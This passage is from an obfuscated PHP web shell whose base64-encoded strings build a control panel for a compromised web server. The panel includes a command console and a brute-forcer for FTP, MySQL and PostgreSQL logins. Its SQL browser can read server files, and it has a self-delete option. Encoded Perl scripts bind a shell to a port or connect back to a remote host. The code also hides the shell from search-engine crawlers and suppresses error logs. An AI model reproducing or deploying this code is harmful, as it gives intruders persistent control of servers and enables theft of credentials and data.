Wx1ZSxkLmNmLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTonJyk7fWVsc2V7ZyhudWxsLG51bGwsZC5jZi5hbGlhcy52YWx1ZSxkLmNmLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTonJyk7fSIgdmFsdWU9Ij4+Ij4gPG5vYnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEg','SFRUUF9IT1NU','YWpheA==','Y2hlY2tlZA==','','PiBzZW5kIHVzaW5nIEFKQVggPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1zaG93X2Vycm9ycyB2YWx1ZT0xIA==','cDI=','SFRUUF9IT1NU','c3RkZXJyX3RvX291dA==','Y2hlY2tlZA==','','PiByZWRpcmVjdCBzdGRlcnIgdG8gc3Rkb3V0ICgyPiYxKTwvbm9icj48YnIvPjx0ZXh0YXJlYSBjbGFzcz1iaWdhcmVhIG5hbWU9b3V0cHV0IHN0eWxlPSJib3JkZXItYm90dG9tOjA7bWFyZ2luOjA7IiByZWFkb25seT4=','cDE=','JCA=','cDE=','Cg==','cDE=','PC90ZXh0YXJlYT48dGFibGUgc3R5bGU9ImJvcmRlcjoxcHggc29saWQgI2RmNTtiYWNrZ3JvdW5kLWNvbG9yOiM1NTU7Ym9yZGVyLXRvcDowcHg7IiBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgd2lkdGg9IjEwMCUiPjx0cj48dGQgd2lkdGg9IjElIj4kPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWNtZCBzdHlsZT0iYm9yZGVyOjBweDt3aWR0aDoxMDAlOyIgb25rZXlkb3duPSJrcChldmVudCk7Ij48L3RkPjwvdHI+PC90YWJsZT4=','PC9mb3JtPjwvZGl2PjxzY3JpcHQ+ZC5jZi5jbWQuZm9jdXMoKTs8L3NjcmlwdD4=','SFRUUF9IT1NU','','YnllIQ==','cDE=','eWVz','IVwoXGQrXClccy4qIQ==','','U2hlbGwgaGFzIGJlZW4gcmVtb3ZlZA==','dW5saW5rIGVycm9yIQ==','cDE=','eWVz','PGgxPlN1aWNpZGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD5SZWFsbHkgd2FudCB0byByZW1vdmUgdGhlIHNoZWxsPzxicj48YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsJ3llcycpIj5ZZXM8L2E+PC9kaXY+','cHJvdG8=','PGgxPlJlc3VsdHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48c3Bhbj5UeXBlOjwvc3Bhbj4g','cHJvdG8=','IDxzcGFuPlNlcnZlcjo8L3NwYW4+IA==','c2VydmVy','PGJyPg==','cHJvdG8=','ZnRw','cHJvdG8=','bXlzcWw=','Og==','cHJvdG8=','cGdzcWw=','aG9zdD0n','JyBwb3J0PSc=','JyB1c2VyPSc=','JyBwYXNzd29yZD0n','JyBkYm5hbWU9cG9zdGdyZXM=','Og==','c2VydmVy','dHlwZQ==','L2V0Yy9wYXNzd2Q=','Og==','PGI+','PC9iPjo=','PGJyPg==','cmV2ZXJzZQ==','','PGI+','PC9iPjo=','dHlwZQ==','ZGljdA==','bG9naW4=','PGI+','bG9naW4=','PC9iPjo=','PGJyPg==','PGgxPkJydXRlZm9yY2U8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48dGFibGU+PGZvcm0gbWV0aG9kPXBvc3Q+PHRyPjx0ZD48c3Bhbj5UeXBlPC9zcGFuPjwvdGQ+','PHRkPjxzZWxlY3QgbmFtZT1wcm90bz48b3B0aW9uIHZhbHVlPWZ0cD5GVFA8L29wdGlvbj48b3B0aW9uIHZhbHVlPW15c3FsPk15U3FsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1wZ3NxbD5Qb3N0Z3JlU3FsPC9vcHRpb24+PC9zZWxlY3Q+PC90ZD48L3RyPjx0cj48dGQ+','PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0i','Y3dk','Ij4=','PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0i','YQ==','Ij4=','PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0i','Y2hhcnNldA==','Ij4=','PHNwYW4+U2VydmVyOnBvcnQ8L3NwYW4+PC90ZD4=','PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zZXJ2ZXIgdmFsdWU9IjEyNy4wLjAuMSI+PC90ZD48L3RyPg==','PHRyPjx0ZD48c3Bhbj5CcnV0ZSB0eXBlPC9zcGFuPjwvdGQ+','PHRkPjxsYWJlbD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IjEiIGNoZWNrZWQ+IC9ldGMvcGFzc3dkPC9sYWJlbD48L3RkPjwvdHI+','PHRyPjx0ZD48L3RkPjx0ZD48bGFiZWwgc3R5bGU9InBhZGRpbmctbGVmdDoxNXB4Ij48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXJldmVyc2UgdmFsdWU9MSBjaGVja2VkPiByZXZlcnNlIChsb2dpbiAtPiBuaWdvbCk8L2xhYmVsPjwvdGQ+PC90cj4=','PHRyPjx0ZD48L3RkPjx0ZD48bGFiZWw+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSIyIj4gRGljdGlvbmFyeTwvbGFiZWw+PC90ZD48L3RyPg==','PHRyPjx0ZD48L3RkPjx0ZD48dGFibGUgc3R5bGU9InBhZGRpbmctbGVmdDoxNXB4Ij48dHI+PHRkPjxzcGFuPkxvZ2luPC9zcGFuPjwvdGQ+','PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1sb2dpbiB2YWx1ZT0icm9vdCI+PC90ZD48L3RyPg==','PHRyPjx0ZD48c3Bhbj5EaWN0aW9uYXJ5PC9zcGFuPjwvdGQ+','PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1kaWN0IHZhbHVlPSI=','Y3dk','cGFzc3dkLmRpYyI+PC90ZD48L3RyPjwvdGFibGU+','PC90ZD48L3RyPjx0cj48dGQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPg==','PC9kaXY+PGJyPg==','bXlzcWw=','cGdzcWw=','Og==','bXlzcWw=','bXlzcWw=','cGdzcWw=','bXlzcWw=','cGdzcWw=','bXlzcWw=','U0hPVyBkYXRhYmFzZXM=','cGdzcWw=','U0VMRUNUIGRhdG5hbWUgRlJPTSBwZ19kYXRhYmFzZSBXSEVSRSBkYXRpc3RlbXBsYXRlIT0ndCc=','bXlzcWw=','U0hPVyBUQUJMRVM=','cGdzcWw=','c2VsZWN0IHRhYmxlX25hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYSAhPSAnaW5mb3JtYXRpb25fc2NoZW1hJyBBTkQgdGFibGVfc2NoZW1hICE9ICdwZ19jYXRhbG9nJw==','bXlzcWw=','cGdzcWw=','bXlzcWw=','U0VUIENIQVJTRVQg','cGdzcWw=','bXlzcWw=','U0VMRUNUIExPQURfRklMRSgn','JykgYXMgZmlsZQ==','cGdzcWw=','Q1JFQVRFIFRBQkxFIHh4czIoZmlsZSB0ZXh0KTtDT1BZIHh4czIgRlJPTSAn','JztzZWxlY3QgZmlsZSBmcm9tIHh4czI7','ZmlsZQ==','ZHJvcCB0YWJsZSB4eHMy','ZmlsZQ==','Cg==','bXlzcWw=','U0hPVyBDUkVBVEUgVEFCTEUgYA==','YA==','Owo=','U0VMRUNUICogRlJPTSBg','YA==','','OwoK','TlVMTA==','Jw==','Jw==','YA==','YA==','SU5TRVJUIElOVE8gYA==','YCAo','LCA=','KSBWQUxVRVMgCgko','LCA=','KQ==','CgksKA==','LCA=','KQ==','OwoK','OwoK','cGdzcWw=','U0VMRUNUICogRlJPTSA=','Jw==','Jw==','SU5TRVJUIElOVE8g','ICg=','LCA=','KSBWQUxVRVMgKA==','LCA=','KTs=','Cg==','dHlwZQ==','cDI=','ZG93bmxvYWQ=','c3FsX2hvc3Q=','c3FsX2xvZ2lu','c3FsX3Bhc3M=','c3FsX2Jhc2U=','c3FsX2Jhc2U=','Y2hhcnNldA==','V2luZG93cy0xMjUx','Y3AxMjUx','VVRGLTg=','dXRmOA==','S09JOC1S','a29pOHI=','S09JOC1V','a29pOHU=','Y3A4NjY=','Y3A4NjY=','ZmlsZQ==','b2JfZ3poYW5kbGVy','Q29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9ZHVtcC5zcWw=','Q29udGVudC1UeXBlOiB0ZXh0L3BsYWlu','dGJs','ZmlsZQ==','dw==','dGJs','cDI=','PHNjcmlwdD5hbGVydCgiRXJyb3IhIENhbid0IG9wZW4gZmlsZSIpO3dpbmRvdy5oaXN0b3J5LmJhY2soLTEpPC9zY3JpcHQ+','DQo8aDE+U3FsIGJyb3dzZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4NCjxmb3JtIG5hbWU9J3NmJyBtZXRob2Q9J3Bvc3QnIG9uc3VibWl0PSdmcyh0aGlzKTsnPjx0YWJsZSBjZWxscGFkZGluZz0nMicgY2VsbHNwYWNpbmc9JzAnPjx0cj4NCjx0ZD5UeXBlPC90ZD48dGQ+SG9zdDwvdGQ+PHRkPkxvZ2luPC90ZD48dGQ+UGFzc3dvcmQ8L3RkPjx0ZD5EYXRhYmFzZTwvdGQ+PHRkPjwvdGQ+PC90cj48dHI+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPVNxbD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMSB2YWx1ZT0ncXVlcnknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAyIHZhbHVlPScnPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9Jw==','Y3dk','Jz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSc=','Y2hhcnNldA==','Y2hhcnNldA==','','Jz4NCjx0ZD48c2VsZWN0IG5hbWU9J3R5cGUnPjxvcHRpb24gdmFsdWU9J215c3FsJyA=','dHlwZQ==','bXlzcWw=','c2VsZWN0ZWQ=','Pk15U3FsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ncGdzcWwnIA==','dHlwZQ==','cGdzcWw=','c2VsZWN0ZWQ=','PlBvc3RncmVTcWw8L29wdGlvbj48L3NlbGVjdD48L3RkPg0KPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfaG9zdCB2YWx1ZT0i','c3FsX2hvc3Q=','bG9jYWxob3N0','c3FsX2hvc3Q=','Ij48L3RkPg0KPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfbG9naW4gdmFsdWU9Ig==','c3FsX2xvZ2lu','cm9vdA==','c3FsX2xvZ2lu','Ij48L3RkPg0KPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfcGFzcyB2YWx1ZT0i','c3FsX3Bhc3M=','','c3FsX3Bhc3M=','Ij48L3RkPjx0ZD4=','PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9iYXNlIHZhbHVlPScnPg==','c3FsX2hvc3Q=','c3FsX2hvc3Q=','c3FsX2xvZ2lu','c3FsX3Bhc3M=','c3FsX2Jhc2U=','Y2hhcnNldA==','V2luZG93cy0xMjUx','Y3AxMjUx','VVRGLTg=','dXRmOA==','S09JOC1S','a29pOHI=','S09JOC1V','a29pOHU=','Y3A4NjY=','Y3A4NjY=','PHNlbGVjdCBuYW1lPXNxbF9iYXNlPjxvcHRpb24gdmFsdWU9Jyc+PC9vcHRpb24+','PG9wdGlvbiB2YWx1ZT0i','IiA=','c3FsX2Jhc2U=','c2VsZWN0ZWQ=','','Pg==','PC9vcHRpb24+','PC9zZWxlY3Q+','PC90ZD4NCgkJCQk8dGQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Picgb25jbGljaz0nZnMoZC5zZik7Jz48L3RkPg0KICAgICAgICAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXNxbF9jb3VudCB2YWx1ZT0nb24n','c3FsX2NvdW50','','IGNoZWNrZWQ=','PiBjb3VudCB0aGUgbnVtYmVyIG9mIHJvd3M8L3RkPg0KCQkJPC90cj4NCgkJPC90YWJsZT4NCgkJPHNjcmlwdD4NCiAgICAgICAgICAgIHNfZGI9Jw==','c3FsX2Jhc2U=','JzsNCiAgICAgICAgICAgIGZ1bmN0aW9uIGZzKGYpIHsNCiAgICAgICAgICAgICAgICBpZihmLnNxbF9iYXNlLnZhbHVlIT1zX2RiKSB7IGYub25zdWJtaXQgPSBmdW5jdGlvbigpIHt9Ow0KICAgICAgICAgICAgICAgICAgICBpZihmLnAxKSBmLnAxLnZhbHVlPScnOw0KICAgICAgICAgICAgICAgICAgICBpZihmLnAyKSBmLnAyLnZhbHVlPScnOw0KICAgICAgICAgICAgICAgICAgICBpZihmLnAzKSBmLnAzLnZhbHVlPScnOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCgkJCWZ1bmN0aW9uIHN0KHQsbCkgew0KCQkJCWQuc2YucDEudmFsdWUgPSAnc2VsZWN0JzsNCgkJCQlkLnNmLnAyLnZhbHVlID0gdDsNCiAgICAgICAgICAgICAgICBpZihsICYmIGQuc2YucDMpIGQuc2YucDMudmFsdWUgPSBsOw0KCQkJCWQuc2Yuc3VibWl0KCk7DQoJCQl9DQoJCQlmdW5jdGlvbiBpcygpIHsNCgkJCQlmb3IoaT0wO2k8ZC5zZi5lbGVtZW50c1sndGJsW10nXS5sZW5ndGg7KytpKQ0KCQkJCQlkLnNmLmVsZW1lbnRzWyd0YmxbXSddW2ldLmNoZWNrZWQgPSAhZC5zZi5lbGVtZW50c1sndGJsW10nXVtpXS5jaGVja2VkOw0KCQkJfQ0KCQk8L3NjcmlwdD4=','PGJyLz48dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0yIGNlbGxzcGFjaW5nPTA+','c3FsX2Jhc2U=','c3FsX2Jhc2U=','PHRyPjx0ZCB3aWR0aD0xIHN0eWxlPSdib3JkZXItdG9wOjJweCBzb2xpZCAjNjY2Oyc+PHNwYW4+VGFibGVzOjwvc3Bhbj48YnI+PGJyPg==','c3FsX2NvdW50','U0VMRUNUIENPVU5UKCopIGFzIG4gRlJPTSA=','','PG5vYnI+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSd0YmxbXScgdmFsdWU9Jw==','Jz4mbmJzcDs8YSBocmVmPSMgb25jbGljaz0ic3QoJw==','JywxKSI+','PC9hPg==','c3FsX2NvdW50','Jm5ic3A7','bg==','PC9ub2JyPjxicj4=','PGlucHV0IHR5cGU9J2NoZWNrYm94JyBvbmNsaWNrPSdpcygpOyc+IDxpbnB1dCB0eXBlPWJ1dHRvbiB2YWx1ZT0nRHVtcCcgb25jbGljaz0nZG9jdW1lbnQuc2YucDIudmFsdWU9ImRvd25sb2FkIjtkb2N1bWVudC5zZi5zdWJtaXQoKTsnPjxicj5GaWxlIHBhdGg6PGlucHV0IHR5cGU9dGV4dCBuYW1lPWZpbGUgdmFsdWU9J2R1bXAuc3FsJz48L3RkPjx0ZCBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQgIzY2NjsnPg==','cDE=','c2VsZWN0','cDE=','cXVlcnk=','cDM=','cDM=','cDM=','U0VMRUNUIENPVU5UKCopIGFzIG4gRlJPTSA=','cDI=','bg==','PHNjcmlwdD5kLnNmLm9uc3VibWl0PWZ1bmN0aW9uKCl7c3QoIg==','cDI=','IiwgZC5zZi5wMy52YWx1ZSl9PC9zY3JpcHQ+PHNwYW4+','cDI=','bg==','cDM=','Pg==','cDM=','IDxhIGhyZWY9IyBvbmNsaWNrPSdzdCgi','cDI=','Iiwg','cDM=','KSc+Jmx0OyBQcmV2PC9hPg==','cDM=','IDxhIGhyZWY9IyBvbmNsaWNrPSdzdCgi','cDI=','Iiwg','cDM=','KSc+TmV4dCAmZ3Q7PC9hPg==','cDM=','dHlwZQ==','cGdzcWw=','cDI=','U0VMRUNUICogRlJPTSA=','cDI=','IExJTUlUIDMwIE9GRlNFVCA=','cDM=','cDI=','U0VMRUNUICogRlJPTSBg','cDI=','YCBMSU1JVCA=','cDM=','LDMw','PGJyPjxicj4=','cDE=','cXVlcnk=','cDI=','cDI=','PHRhYmxlIHdpZHRoPTEwMCUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yIGNsYXNzPW1haW4gc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IzI5MjkyOSI+','PHRyPg==','PHRoPg==','PC90aD4=','PC90cj48dHI+','PHRyIGNsYXNzPSJs','Ij4=','PHRkPjxpPm51bGw8L2k+PC90ZD4=','PHRkPg==','PC90ZD4=','PC90cj4=','PC90YWJsZT4=','PGRpdj48Yj5FcnJvcjo8L2I+IA==','PC9kaXY+','PGJyPjwvZm9ybT48Zm9ybSBvbnN1Ym1pdD0nZC5zZi5wMS52YWx1ZT0icXVlcnkiO2Quc2YucDIudmFsdWU9dGhpcy5xdWVyeS52YWx1ZTtkb2N1bWVudC5zZi5zdWJtaXQoKTtyZXR1cm4gZmFsc2U7Jz48dGV4dGFyZWEgbmFtZT0ncXVlcnknIHN0eWxlPSd3aWR0aDoxMDAlO2hlaWdodDoxMDBweCc+','cDI=','cDE=','bG9hZGZpbGU=','cDI=','PC90ZXh0YXJlYT48YnIvPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRXhlY3V0ZSc+','PC90ZD48L3RyPg==','PC90YWJsZT48L2Zvcm0+PGJyLz4=','dHlwZQ==','bXlzcWw=','U0VMRUNUIDEgRlJPTSBteXNxbC51c2VyIFdIRVJFIGNvbmNhdChgdXNlcmAsICdAJywgYGhvc3RgKSA9IFVTRVIoKSBBTkQgYEZpbGVfcHJpdmAgPSAneSc=','PGZvcm0gb25zdWJtaXQ9J2Quc2YucDEudmFsdWU9ImxvYWRmaWxlIjtkb2N1bWVudC5zZi5wMi52YWx1ZT10aGlzLmYudmFsdWU7ZG9jdW1lbnQuc2Yuc3VibWl0KCk7cmV0dXJuIGZhbHNlOyc+PHNwYW4+TG9hZCBmaWxlPC9zcGFuPiA8aW5wdXQgIGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+','cDE=','bG9hZGZpbGU=','cDI=','PGJyLz48cHJlIGNsYXNzPW1sMT4=','ZmlsZQ==','PC9wcmU+','PC9kaXY+','SXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pHbGhaR1J5UFdsdVpYUmZZWFJ2Ymlna1FWSkhWbHN3WFNrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NSQlVrZFdXekZkTENBa2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUc05DaVJ3Y205MGJ6MW5aWFJ3Y205MGIySjVibUZ0WlNnbmRHTndKeWs3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFUlZKU0xDQWlQaVpUVDBOTFJWUWlLVHNOQ25ONWMzUmxiU2duTDJKcGJpOXphQ0F0YVNjcE93MEtZMnh2YzJVb1UxUkVTVTRwT3cwS1kyeHZjMlVvVTFSRVQxVlVLVHNOQ21Oc2IzTmxLRk5VUkVWU1Vpazc=','SXlFdmRYTnlMMkpwYmk5d1pYSnNEUW9rVTBoRlRFdzlJaTlpYVc0dmMyZ2dMV2tpT3cwS2FXWWdLRUJCVWtkV0lEd2dNU2tnZXlCbGVHbDBLREVwT3lCOURRcDFjMlVnVTI5amEyVjBPdzBLYzI5amEyVjBLRk1zSmxCR1gwbE9SVlFzSmxOUFEwdGZVMVJTUlVGTkxHZGxkSEJ5YjNSdllubHVZVzFsS0NkMFkzQW5LU2tnZkh3Z1pHbGxJQ0pEWVc1MElHTnlaV0YwWlNCemIyTnJaWFJjYmlJN0RRcHpaWFJ6YjJOcmIzQjBLRk1zVTA5TVgxTlBRMHRGVkN4VFQxOVNSVlZUUlVGRVJGSXNNU2s3RFFwaWFXNWtLRk1zYzI5amEyRmtaSEpmYVc0b0pFRlNSMVpiTUYwc1NVNUJSRVJTWDBGT1dTa3BJSHg4SUdScFpTQWlRMkZ1ZENCdmNHVnVJSEJ2Y25SY2JpSTdEUXBzYVhOMFpXNG9VeXd6S1NCOGZDQmthV1VnSWtOaGJuUWdiR2x6ZEdWdUlIQnZjblJjYmlJN0RRcDNhR2xzWlNneEtTQjdEUW9KWVdOalpYQjBLRU5QVGs0c1V5azdEUW9KYVdZb0lTZ2tjR2xrUFdadmNtc3BLU0I3RFFvSkNXUnBaU0FpUTJGdWJtOTBJR1p2Y21zaUlHbG1JQ2doWkdWbWFXNWxaQ0FrY0dsa0tUc05DZ2tKYjNCbGJpQlRWRVJKVGl3aVBDWkRUMDVPSWpzTkNna0piM0JsYmlCVFZFUlBWVlFzSWo0bVEwOU9UaUk3RFFvSkNXOXdaVzRnVTFSRVJWSlNMQ0krSmtOUFRrNGlPdzBLQ1FsbGVHVmpJQ1JUU0VWTVRDQjhmQ0JrYVdVZ2NISnBiblFnUTA5T1RpQWlRMkZ1ZENCbGVHVmpkWFJsSUNSVFNFVk1URnh1SWpzTkNna0pZMnh2YzJVZ1EwOU9UanNOQ2drSlpYaHBkQ0F3T3cwS0NYME5DbjA9','PGgxPk5ldHdvcmsgdG9vbHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4NCgk8Zm9ybSBuYW1lPSduZnAnIG9uU3VibWl0PSJnKG51bGwsbnVsbCwnYnBwJyx0aGlzLnBvcnQudmFsdWUpO3JldHVybiBmYWxzZTsiPg0KCTxzcGFuPkJpbmQgcG9ydCB0byAvYmluL3NoIFtwZXJsXTwvc3Bhbj48YnIvPg0KCVBvcnQ6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwb3J0JyB2YWx1ZT0nMzEzMzcnPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz4NCgk8L2Zvcm0+DQoJPGZvcm0gbmFtZT0nbmZwJyBvblN1Ym1pdD0iZyhudWxsLG51bGwsJ2JjcCcsdGhpcy5zZXJ2ZXIudmFsdWUsdGhpcy5wb3J0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij4NCgk8c3Bhbj5CYWNrLWNvbm5lY3QgIFtwZXJsXTwvc3Bhbj48YnIvPg0KCVNlcnZlcjogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3NlcnZlcicgdmFsdWU9Jw==','UkVNT1RFX0FERFI=','Jz4gUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPSczMTMzNyc+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPg0KCTwvZm9ybT48YnI+','cDE=','dw==','cDE=','YnBw','L3RtcC9icC5wbA==','cGVybCAvdG1wL2JwLnBsIA==','cDI=','IDE+L2Rldi9udWxsIDI+JjEgJg==','cHMgYXV4IHwgZ3JlcCBicC5wbA==','PC9wcmU+','L3RtcC9icC5wbA==','cDE=','YmNw','L3RtcC9iYy5wbA==','cGVybCAvdG1wL2JjLnBsIA==','cDI=','IA==','cDM=','IDE+L2Rldi9udWxsIDI+JjEgJg==','cHMgYXV4IHwgZ3JlcCBiYy5wbA==','PC9wcmU+','L3RtcC9iYy5wbA==','PC9kaXY+','cDE=','dW5hbWU=','cGhwX3ZlcnNpb24=','eHhzX3ZlcnNpb24=','c2FmZW1vZGU=','c2FmZV9tb2Rl','ZXY=','YQ==','bA==','cDE=','YQ==','YQ==','U2VjSW5mbw==','YQ==');return base64_decode($a[$i]);}$color=gg(1);$default_action=gg(2);$default_use_ajax=true;$default_charset=gg(3);if(!empty($_SERVER[gg(4)])){$userAgents=array(gg(5),gg(6),gg(7),gg(8),gg(9),gg(10));if(preg_match(gg(11) .implode(gg(12),$userAgents) .gg(13),$_SERVER[gg(14)])){header(gg(15));exit;}}@ini_set(gg(16),NULL);@ini_set(gg(17),0);@ini_set(gg(18),0);@set_time_limit(0);@set_magic_quotes_runtime(0);@define(gg(19),gg(20));if(get_magic_quotes_gpc()){function XMOstripslashes($array){return is_array($array)?array_map(gg(21),$array):stripslashes($array);}$_POST=XMOstripslashes($_POST);$_COOKIE=XMOstripslashes($_COOKIE);}function xxsLogin(){die(gg(22));}function XMOsetcookie($k,$v){$_COOKIE[$k]=$v;setcookie($k,$v);}if(!empty($auth_pass)){if(isset($_POST[gg(23)])&&(md5($_POST[gg(24)])== $auth_pass))XMOsetcookie(md5($_SERVER[gg(25)]),$auth_pass);if(!isset($_COOKIE[md5($_SERVER[gg(26)])])||($_COOKIE[md5($_SERVER[gg(27)])]!= $auth_pass))xxsLogin();}if(strtolower(substr(PHP_OS,0,3))== gg(28))$os=gg(29);else $os=gg(30);$safe_mode=@ini_get(gg(31));if(!$safe_mode)error_reporting(0);$disable_functions=@ini_get(gg(32));$home_cwd=@getcwd();if(isset($_POST[gg(33)]))@chdir($_POST[gg(34)]);$cwd=@getcwd();if($os == gg(35)){$home_cwd=str_replace(gg(36),gg(37),$home_cwd);$cwd=str_replace(gg(38),gg(39),$cwd);}if($cwd[strlen($cwd)-1]!= gg(40))$cwd .= gg(41);if(!isset($_COOKIE[md5($_SERVER[gg(42)]) .gg(43)]))$_COOKIE[md5($_SERVER[gg(44)]) .gg(45)]=(bool)$default_use_ajax;if($os == gg(46))$aliases=array(gg(47)=> gg(48),gg(49)=> gg(50),gg(51)=> gg(52),gg(53)=> gg(54),gg(55)=> gg(56),gg(57)=> gg(58),gg(59)=> gg(60),gg(61)=> gg(62),gg(63)=> gg(64));else $aliases=array(gg(65)=> gg(66),gg(67)=> gg(68),gg(69)=> gg(70),gg(71)=> gg(72),gg(73)=> gg(74),gg(75)=> gg(76),gg(77)=> gg(78),gg(79)=> gg(80),gg(81)=> gg(82),gg(83)=> gg(84),gg(85)=> gg(86),gg(87)=> gg(88),gg(89)=> gg(90),gg(91)=> gg(92),gg(93)=> gg(94),gg(95)=> gg(96),gg(97)=> gg(98),gg(99)=> gg(100),gg(101)=> gg(102),gg(103)=> gg(104),gg(105)=> gg(106),gg(107)=> gg(108),gg(109)=> gg(110),gg(111)=> gg(112),gg(113)=> gg(114),gg(115)=> gg(116),gg(117)=> gg(118),gg(119)=> gg(120),gg(121)=> gg(122),gg(123)=> gg(124),gg(125)=> gg(126),gg(127)=> gg(128),gg(129)=> gg(130),gg(131)=> gg(132),gg(133)=> gg(134),gg(135)=> gg(136),gg(137)=> gg(138),gg(139)=> gg(140),gg(141)=> gg(142),gg(143)=> gg(144),gg(145)=> gg(146),gg(147)=> gg(148),gg(149)=> gg(150),gg(151)=> gg(152),gg(153)=> gg(154),gg(155)=> gg(156),gg(157)=> gg(158));function xxsHeader(){if(empty($_POST[gg(159)]))$_POST[gg(160)]=$GLOBALS[gg(161)];global $color;echo gg(162) .$_POST[gg(163)] .gg(164) .$_SERVER[gg(165)] .gg(166) .XMO_VERSION ."</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
